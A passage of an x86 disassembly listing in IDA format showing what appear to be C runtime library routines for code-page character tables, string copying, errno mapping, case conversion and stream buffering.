ecx, [ebp+var_24] mov dl, byte_4DB681[ecx] or dl, 8 mov eax, [ebp+var_24] mov byte_4DB681[eax], dl jmp short loc_41FDC5 ; --------------------------------------------------------------------------- loc_41FDEE: ; CODE XREF: sub_41FB40+295j mov ecx, dword_4DB564 push ecx call sub_41FEF0 add esp, 4 mov dword_4DB784, eax mov dword_4DB57C, 1 jmp short loc_41FE18 ; --------------------------------------------------------------------------- loc_41FE0E: ; CODE XREF: sub_41FB40+213j mov dword_4DB57C, 0 loc_41FE18: ; CODE XREF: sub_41FB40+2CCj mov [ebp+var_C], 0 jmp short loc_41FE2A ; --------------------------------------------------------------------------- loc_41FE21: ; CODE XREF: sub_41FB40+2FDj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_41FE2A: ; CODE XREF: sub_41FB40+2DFj cmp [ebp+var_C], 6 jnb short loc_41FE3F mov eax, [ebp+var_C] mov word_4DB570[eax*2], 0 jmp short loc_41FE21 ; --------------------------------------------------------------------------- loc_41FE3F: ; CODE XREF: sub_41FB40+2EEj call sub_41FFF0 push 19h call sub_41B820 add esp, 4 xor eax, eax jmp short loc_41FE80 ; --------------------------------------------------------------------------- loc_41FE52: ; CODE XREF: sub_41FB40+1D0j cmp dword_4DB198, 0 jz short loc_41FE73 call sub_41FF70 call sub_41FFF0 push 19h call sub_41B820 add esp, 4 xor eax, eax jmp short loc_41FE80 ; --------------------------------------------------------------------------- loc_41FE73: ; CODE XREF: sub_41FB40+319j push 19h call sub_41B820 add esp, 4 or eax, 0FFFFFFFFh loc_41FE80: ; CODE XREF: sub_41FB40+36j ; sub_41FB40+57j ... mov esp, ebp pop ebp retn sub_41FB40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE90 proc near ; CODE XREF: sub_41FB40+14p arg_0 = dword ptr 8 push ebp mov ebp, esp mov dword_4DB198, 0 cmp [ebp+arg_0], 0FFFFFFFEh jnz short loc_41FEB5 mov dword_4DB198, 1 nop call near ptr 28B087Ch jmp short loc_41FEE7 ; --------------------------------------------------------------------------- loc_41FEB5: ; CODE XREF: sub_41FE90+11j cmp [ebp+arg_0], 0FFFFFFFDh jnz short loc_41FECD mov dword_4DB198, 1 call near ptr 28B084Ah nop jmp short loc_41FEE7 ; --------------------------------------------------------------------------- loc_41FECD: ; CODE XREF: sub_41FE90+29j cmp [ebp+arg_0], 0FFFFFFFCh jnz short loc_41FEE4 mov dword_4DB198, 1 mov eax, dword_4DB1C8 jmp short loc_41FEE7 ; --------------------------------------------------------------------------- loc_41FEE4: ; CODE XREF: sub_41FE90+41j mov eax, [ebp+arg_0] loc_41FEE7: ; CODE XREF: sub_41FE90+23j ; sub_41FE90+3Bj ... pop ebp retn sub_41FE90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEF0 proc near ; CODE XREF: sub_41FB40+161p ; sub_41FB40+2B5p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 3A4h mov [ebp+var_4], ecx cmp [ebp+var_4], 12h ja short loc_41FF3A mov eax, [ebp+var_4] xor edx, edx mov dl, byte_41FF54[eax] jmp off_41FF40[edx*4] loc_41FF1E: ; DATA XREF: ___:off_41FF40o mov eax, 411h jmp short loc_41FF3C ; --------------------------------------------------------------------------- loc_41FF25: ; CODE XREF: sub_41FEF0+27j ; DATA XREF: ___:0041FF44o mov eax, 804h jmp short loc_41FF3C ; --------------------------------------------------------------------------- loc_41FF2C: ; CODE XREF: sub_41FEF0+27j ; DATA XREF: ___:0041FF48o mov eax, 412h jmp short loc_41FF3C ; --------------------------------------------------------------------------- loc_41FF33: ; CODE XREF: sub_41FEF0+27j ; DATA XREF: ___:0041FF4Co mov eax, 404h jmp short loc_41FF3C ; --------------------------------------------------------------------------- loc_41FF3A: ; CODE XREF: sub_41FEF0+1Aj ; sub_41FEF0+27j ; DATA XREF: ... xor eax, eax loc_41FF3C: ; CODE XREF: sub_41FEF0+33j ; sub_41FEF0+3Aj ... mov esp, ebp pop ebp retn sub_41FEF0 endp ; --------------------------------------------------------------------------- off_41FF40 dd offset loc_41FF1E ; DATA XREF: sub_41FEF0+27r dd offset loc_41FF25 dd offset loc_41FF2C dd offset loc_41FF33 dd offset loc_41FF3A byte_41FF54 db 0 ; DATA XREF: sub_41FEF0+21r db 3 dup(4) dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF70 proc near ; CODE XREF: sub_41FB40+41p ; sub_41FB40+31Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_41FF86 ; --------------------------------------------------------------------------- loc_41FF7D: ; CODE XREF: sub_41FF70+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41FF86: ; CODE XREF: sub_41FF70+Bj cmp [ebp+var_4], 101h jge short loc_41FF9B mov ecx, [ebp+var_4] mov byte_4DB680[ecx], 0 jmp short loc_41FF7D ; --------------------------------------------------------------------------- loc_41FF9B: ; CODE XREF: sub_41FF70+1Dj mov dword_4DB564, 0 mov dword_4DB57C, 0 mov dword_4DB784, 0 mov [ebp+var_4], 0 jmp short loc_41FFCB ; --------------------------------------------------------------------------- loc_41FFC2: ; CODE XREF: sub_41FF70+6Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41FFCB: ; CODE XREF: sub_41FF70+50j cmp [ebp+var_4], 6 jge short loc_41FFE0 mov eax, [ebp+var_4] mov word_4DB570[eax*2], 0 jmp short loc_41FFC2 ; --------------------------------------------------------------------------- loc_41FFE0: ; CODE XREF: sub_41FF70+5Fj mov esp, ebp pop ebp retn sub_41FF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FFF0 proc near ; CODE XREF: sub_41FB40+46p ; sub_41FB40:loc_41FCE4p ... var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_418 = byte ptr -418h var_318 = byte ptr -318h var_312 = byte ptr -312h var_304 = byte ptr -304h var_204 = word ptr -204h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 51Ch lea eax, [ebp+var_318] push eax mov ecx, dword_4DB564 push ecx nop call near ptr 28B0000h cmp eax, 1 jnz loc_420229 mov [ebp+var_51C], 0 jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420022: ; CODE XREF: sub_41FFF0+60j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_420031: ; CODE XREF: sub_41FFF0+30j cmp [ebp+var_51C], 100h jnb short loc_420052 mov eax, [ebp+var_51C] mov cl, byte ptr [ebp+var_51C] mov [ebp+eax+var_304], cl jmp short loc_420022 ; --------------------------------------------------------------------------- loc_420052: ; CODE XREF: sub_41FFF0+4Bj mov [ebp+var_304], 20h lea edx, [ebp+var_312] mov [ebp+var_4], edx jmp short loc_42006D ; --------------------------------------------------------------------------- loc_420064: ; CODE XREF: sub_41FFF0:loc_4200B6j mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax loc_42006D: ; CODE XREF: sub_41FFF0+72j mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_4200B8 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov [ebp+var_51C], ecx jmp short loc_420096 ; --------------------------------------------------------------------------- loc_420087: ; CODE XREF: sub_41FFF0+C4j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_420096: ; CODE XREF: sub_41FFF0+95j mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_51C], ecx ja short loc_4200B6 mov edx, [ebp+var_51C] mov [ebp+edx+var_304], 20h jmp short loc_420087 ; --------------------------------------------------------------------------- loc_4200B6: ; CODE XREF: sub_41FFF0+B4j jmp short loc_420064 ; --------------------------------------------------------------------------- loc_4200B8: ; CODE XREF: sub_41FFF0+86j push 0 mov eax, dword_4DB784 push eax mov ecx, dword_4DB564 push ecx lea edx, [ebp+var_204] push edx push 100h lea eax, [ebp+var_304] push eax push 1 call sub_427D80 add esp, 1Ch push 0 mov ecx, dword_4DB564 push ecx push 100h lea edx, [ebp+var_418] push edx push 100h lea eax, [ebp+var_304] push eax push 100h mov ecx, dword_4DB784 push ecx call sub_425B90 add esp, 20h push 0 mov edx, dword_4DB564 push edx push 100h lea eax, [ebp+var_518] push eax push 100h lea ecx, [ebp+var_304] push ecx push 200h mov edx, dword_4DB784 push edx call sub_425B90 add esp, 20h mov [ebp+var_51C], 0 jmp short loc_420169 ; --------------------------------------------------------------------------- loc_42015A: ; CODE XREF: sub_41FFF0:loc_42021Fj mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_420169: ; CODE XREF: sub_41FFF0+168j cmp [ebp+var_51C], 100h jnb loc_420224 mov ecx, [ebp+var_51C] xor edx, edx mov dx, [ebp+ecx*2+var_204] and edx, 1 test edx, edx jz short loc_4201C6 mov eax, [ebp+var_51C] mov cl, byte_4DB681[eax] or cl, 10h mov edx, [ebp+var_51C] mov byte_4DB681[edx], cl mov eax, [ebp+var_51C] mov ecx, [ebp+var_51C] mov dl, [ebp+ecx+var_418] mov byte_4DB580[eax], dl jmp short loc_42021F ; --------------------------------------------------------------------------- loc_4201C6: ; CODE XREF: sub_41FFF0+19Ej mov eax, [ebp+var_51C] xor ecx, ecx mov cx, [ebp+eax*2+var_204] and ecx, 2 test ecx, ecx jz short loc_420212 mov edx, [ebp+var_51C] mov al, byte_4DB681[edx] or al, 20h mov ecx, [ebp+var_51C] mov byte_4DB681[ecx], al mov edx, [ebp+var_51C] mov eax, [ebp+var_51C] mov cl, [ebp+eax+var_518] mov byte_4DB580[edx], cl jmp short loc_42021F ; --------------------------------------------------------------------------- loc_420212: ; CODE XREF: sub_41FFF0+1EBj mov edx, [ebp+var_51C] mov byte_4DB580[edx], 0 loc_42021F: ; CODE XREF: sub_41FFF0+1D4j ; sub_41FFF0+220j jmp loc_42015A ; --------------------------------------------------------------------------- loc_420224: ; CODE XREF: sub_41FFF0+183j jmp loc_4202EE ; --------------------------------------------------------------------------- loc_420229: ; CODE XREF: sub_41FFF0+20j mov [ebp+var_51C], 0 jmp short loc_420244 ; --------------------------------------------------------------------------- loc_420235: ; CODE XREF: sub_41FFF0:loc_4202E9j mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_420244: ; CODE XREF: sub_41FFF0+243j cmp [ebp+var_51C], 100h jnb loc_4202EE cmp [ebp+var_51C], 41h jb short loc_420298 cmp [ebp+var_51C], 5Ah ja short loc_420298 mov ecx, [ebp+var_51C] mov dl, byte_4DB681[ecx] or dl, 10h mov eax, [ebp+var_51C] mov byte_4DB681[eax], dl mov ecx, [ebp+var_51C] add ecx, 20h mov edx, [ebp+var_51C] mov byte_4DB580[edx], cl jmp short loc_4202E9 ; --------------------------------------------------------------------------- loc_420298: ; CODE XREF: sub_41FFF0+26Bj ; sub_41FFF0+274j cmp [ebp+var_51C], 61h jb short loc_4202DC cmp [ebp+var_51C], 7Ah ja short loc_4202DC mov eax, [ebp+var_51C] mov cl, byte_4DB681[eax] or cl, 20h mov edx, [ebp+var_51C] mov byte_4DB681[edx], cl mov eax, [ebp+var_51C] sub eax, 20h mov ecx, [ebp+var_51C] mov byte_4DB580[ecx], al jmp short loc_4202E9 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_41FFF0+2AFj ; sub_41FFF0+2B8j mov edx, [ebp+var_51C] mov byte_4DB580[edx], 0 loc_4202E9: ; CODE XREF: sub_41FFF0+2A6j ; sub_41FFF0+2EAj jmp loc_420235 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_41FFF0:loc_420224j ; sub_41FFF0+25Ej mov esp, ebp pop ebp retn sub_41FFF0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_4DB57C, 0 jz short loc_420313 mov eax, dword_4DB564 jmp short loc_420315 ; --------------------------------------------------------------------------- loc_420313: ; CODE XREF: ___:0042030Aj xor eax, eax loc_420315: ; CODE XREF: ___:00420311j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420320 proc near ; CODE XREF: ___:0042611Dp ; ___:004261DFp ... push ebp mov ebp, esp cmp dword_4DC7C8, 0 jnz short loc_420340 push 0FFFFFFFDh call sub_41FB40 add esp, 4 mov dword_4DC7C8, 1 loc_420340: ; CODE XREF: sub_420320+Aj pop ebp retn sub_420320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420350 proc near ; CODE XREF: sub_417BD0+41p ; sub_417BD0+11Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp dword_4DB57C, 0 jnz short loc_42037C mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_417770 add esp, 0Ch jmp loc_420471 ; --------------------------------------------------------------------------- loc_42037C: ; CODE XREF: sub_420350+11j push 19h call sub_41B780 add esp, 4 loc_420386: ; CODE XREF: sub_420350:loc_42043Ej cmp [ebp+arg_8], 0 jz loc_420443 mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4DB681[eax] and ecx, 4 test ecx, ecx jz short loc_420415 mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_8], 0 jnz short loc_4203DA mov ecx, [ebp+arg_0] mov byte ptr [ecx-1], 0 jmp short loc_420443 ; --------------------------------------------------------------------------- loc_4203DA: ; CODE XREF: sub_420350+7Fj mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test ecx, ecx jnz short loc_420413 mov ecx, [ebp+arg_0] mov byte ptr [ecx-2], 0 jmp short loc_420443 ; --------------------------------------------------------------------------- loc_420413: ; CODE XREF: sub_420350+B8j jmp short loc_42043E ; --------------------------------------------------------------------------- loc_420415: ; CODE XREF: sub_420350+5Dj mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx test eax, eax jnz short loc_42043E jmp short loc_420443 ; --------------------------------------------------------------------------- loc_42043E: ; CODE XREF: sub_420350:loc_420413j ; sub_420350+EAj jmp loc_420386 ; --------------------------------------------------------------------------- loc_420443: ; CODE XREF: sub_420350+3Aj ; sub_420350+88j ... mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_420464 mov edx, [ebp+arg_0] mov byte ptr [edx], 0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_420443 ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420350+101j push 19h call sub_41B820 add esp, 4 mov eax, [ebp+var_4] loc_420471: ; CODE XREF: sub_420350+27j mov esp, ebp pop ebp retn sub_420350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420480 proc near ; CODE XREF: sub_4181D0+2Ep ; sub_41A370+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_420530 mov ecx, [ebp+arg_0] mov [eax], ecx mov [ebp+var_4], 0 jmp short loc_4204A0 ; --------------------------------------------------------------------------- loc_420497: ; CODE XREF: sub_420480:loc_4204C8j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4204A0: ; CODE XREF: sub_420480+15j cmp [ebp+var_4], 2Dh jnb short loc_4204CA mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] cmp ecx, dword_443F90[eax*8] jnz short loc_4204C8 call sub_420520 mov edx, [ebp+var_4] mov ecx, dword_443F94[edx*8] mov [eax], ecx jmp short loc_42050D ; --------------------------------------------------------------------------- loc_4204C8: ; CODE XREF: sub_420480+33j jmp short loc_420497 ; --------------------------------------------------------------------------- loc_4204CA: ; CODE XREF: sub_420480+24j cmp [ebp+arg_0], 13h jb short loc_4204E3 cmp [ebp+arg_0], 24h ja short loc_4204E3 call sub_420520 mov dword ptr [eax], 0Dh jmp short loc_42050D ; --------------------------------------------------------------------------- loc_4204E3: ; CODE XREF: sub_420480+4Ej ; sub_420480+54j cmp [ebp+arg_0], 0BCh jb short loc_420502 cmp [ebp+arg_0], 0CAh ja short loc_420502 call sub_420520 mov dword ptr [eax], 8 jmp short loc_42050D ; --------------------------------------------------------------------------- loc_420502: ; CODE XREF: sub_420480+6Aj ; sub_420480+73j call sub_420520 mov dword ptr [eax], 16h loc_42050D: ; CODE XREF: sub_420480+46j ; sub_420480+61j ... mov esp, ebp pop ebp retn sub_420480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420520 proc near ; CODE XREF: sub_417E70:loc_418142p ; sub_419D80+E4p ... push ebp mov ebp, esp call sub_41F970 add eax, 8 pop ebp retn sub_420520 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420530 proc near ; CODE XREF: sub_41A370+4Ap ; sub_41B1B0+3Cp ... push ebp mov ebp, esp call sub_41F970 add eax, 0Ch pop ebp retn sub_420530 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] sub eax, 20h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420550 proc near ; CODE XREF: sub_417E70+201p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB1B8, 0 jnz short loc_420577 cmp [ebp+arg_0], 61h jl short loc_420572 cmp [ebp+arg_0], 7Ah jg short loc_420572 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_420572: ; CODE XREF: sub_420550+11j ; sub_420550+17j mov eax, [ebp+arg_0] jmp short loc_4205DF ; --------------------------------------------------------------------------- loc_420577: ; CODE XREF: sub_420550+Bj push offset dword_4DB45C call near ptr 2840CCAh nop cmp dword_4DB458, 0 jz short loc_4205A9 push offset dword_4DB45C nop call near ptr 2840C7Bh push 13h call sub_41B780 add esp, 4 mov [ebp+var_4], 1 jmp short loc_4205B0 ; --------------------------------------------------------------------------- loc_4205A9: ; CODE XREF: sub_420550+39j mov [ebp+var_4], 0 loc_4205B0: ; CODE XREF: sub_420550+57j mov ecx, [ebp+arg_0] push ecx call sub_4205F0 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_4205D1 push 13h call sub_41B820 add esp, 4 jmp short loc_4205DC ; --------------------------------------------------------------------------- loc_4205D1: ; CODE XREF: sub_420550+73j push offset dword_4DB45C call near ptr 2840C7Bh nop loc_4205DC: ; CODE XREF: sub_420550+7Fj mov eax, [ebp+arg_0] loc_4205DF: ; CODE XREF: sub_420550+25j mov esp, ebp pop ebp retn sub_420550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4205F0 proc near ; CODE XREF: sub_420550+64p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_4DB1B8, 0 jnz short loc_42061C cmp [ebp+arg_0], 61h jl short loc_420614 cmp [ebp+arg_0], 7Ah jg short loc_420614 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_420614: ; CODE XREF: sub_4205F0+13j ; sub_4205F0+19j mov eax, [ebp+arg_0] jmp loc_420717 ; --------------------------------------------------------------------------- loc_42061C: ; CODE XREF: sub_4205F0+Dj cmp [ebp+arg_0], 100h jge short loc_420663 cmp dword_443B70, 1 jle short loc_420641 push 2 mov ecx, [ebp+arg_0] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_10], eax jmp short loc_420655 ; --------------------------------------------------------------------------- loc_420641: ; CODE XREF: sub_4205F0+3Cj mov edx, [ebp+arg_0] mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 2 mov [ebp+var_10], ecx loc_420655: ; CODE XREF: sub_4205F0+4Fj cmp [ebp+var_10], 0 jnz short loc_420663 mov eax, [ebp+arg_0] jmp loc_420717 ; --------------------------------------------------------------------------- loc_420663: ; CODE XREF: sub_4205F0+33j ; sub_4205F0+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_443C7C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_4206AC mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_4206BD ; --------------------------------------------------------------------------- loc_4206AC: ; CODE XREF: sub_4205F0+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_4206BD: ; CODE XREF: sub_4205F0+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 200h mov edx, dword_4DB1B8 push edx call sub_425B90 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4206F1 mov eax, [ebp+arg_0] jmp short loc_420717 ; --------------------------------------------------------------------------- loc_4206F1: ; CODE XREF: sub_4205F0+FAj cmp [ebp+var_4], 1 jnz short loc_420701 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_420717 ; --------------------------------------------------------------------------- loc_420701: ; CODE XREF: sub_4205F0+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_420717: ; CODE XREF: sub_4205F0+27j ; sub_4205F0+6Ej ... mov esp, ebp pop ebp retn sub_4205F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420720 proc near ; CODE XREF: sub_418240+79p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_420729: ; CODE XREF: sub_420720+31j cmp [ebp+arg_0], 0 jnz short loc_42074D push offset dword_4334B4 push 0 push 41h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_42074D int 3 ; Trap to Debugger loc_42074D: ; CODE XREF: sub_420720+Dj ; sub_420720+2Aj xor eax, eax test eax, eax jnz short loc_420729 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+10h] push eax call sub_4285B0 add esp, 4 test eax, eax jnz short loc_420773 xor eax, eax jmp loc_420870 ; --------------------------------------------------------------------------- loc_420773: ; CODE XREF: sub_420720+4Aj cmp [ebp+var_4], offset dword_4438E0 jnz short loc_420785 mov [ebp+var_8], 0 jmp short loc_42079E ; --------------------------------------------------------------------------- loc_420785: ; CODE XREF: sub_420720+5Aj cmp [ebp+var_4], offset dword_443900 jnz short loc_420797 mov [ebp+var_8], 1 jmp short loc_42079E ; --------------------------------------------------------------------------- loc_420797: ; CODE XREF: sub_420720+6Cj xor eax, eax jmp loc_420870 ; --------------------------------------------------------------------------- loc_42079E: ; CODE XREF: sub_420720+63j ; sub_420720+75j mov ecx, dword_4DB110 add ecx, 1 mov dword_4DB110, ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jz short loc_4207C3 xor eax, eax jmp loc_420870 ; --------------------------------------------------------------------------- loc_4207C3: ; CODE XREF: sub_420720+9Aj mov ecx, [ebp+var_8] cmp dword_4DB19C[ecx*4], 0 jnz short loc_42082A push 5Eh push offset a_sftbuf_c ; "_sftbuf.c" push 2 push 1000h call sub_414DD0 add esp, 10h mov edx, [ebp+var_8] mov dword_4DB19C[edx*4], eax mov eax, [ebp+var_8] cmp dword_4DB19C[eax*4], 0 jnz short loc_42082A mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 2 jmp short loc_420859 ; --------------------------------------------------------------------------- loc_42082A: ; CODE XREF: sub_420720+AEj ; sub_420720+DBj mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ecx, dword_4DB19C[eax*4] mov [edx+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h mov eax, [ebp+var_4] mov dword ptr [eax+4], 1000h loc_420859: ; CODE XREF: sub_420720+108j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 1102h mov eax, [ebp+var_4] mov [eax+0Ch], edx mov eax, 1 loc_420870: ; CODE XREF: sub_420720+4Ej ; sub_420720+79j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420720 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420880 proc near ; CODE XREF: sub_418240+A3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_420887: ; CODE XREF: sub_420880+38j cmp [ebp+arg_0], 0 jz short loc_4208B4 cmp [ebp+arg_0], 1 jz short loc_4208B4 push offset aFlag0Flag1 ; "flag == 0 || flag == 1" push 0 push 0A1h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_41AB10 add esp, 14h cmp eax, 1 jnz short loc_4208B4 int 3 ; Trap to Debugger loc_4208B4: ; CODE XREF: sub_420880+Bj ; sub_420880+11j ... xor eax, eax test eax, eax jnz short loc_420887 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0 jz short loc_42090D mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1000h test eax, eax jz short loc_42090D mov ecx, [ebp+var_4] push ecx call sub_41B420 add esp, 4 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and ah, 0EEh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov dword ptr [edx+18h], 0 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0 loc_42090D: ; CODE XREF: sub_420880+44j ; sub_420880+53j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_420880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420920 proc near ; CODE XREF: sub_418AF0+A2p var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = byte ptr -1F0h var_1EF = byte ptr -1EFh var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = byte ptr -1D0h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_55 = byte ptr -55h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 224h push ebx push esi push edi loc_42092C: ; CODE XREF: sub_420920+37j cmp [ebp+arg_4], 0 jnz 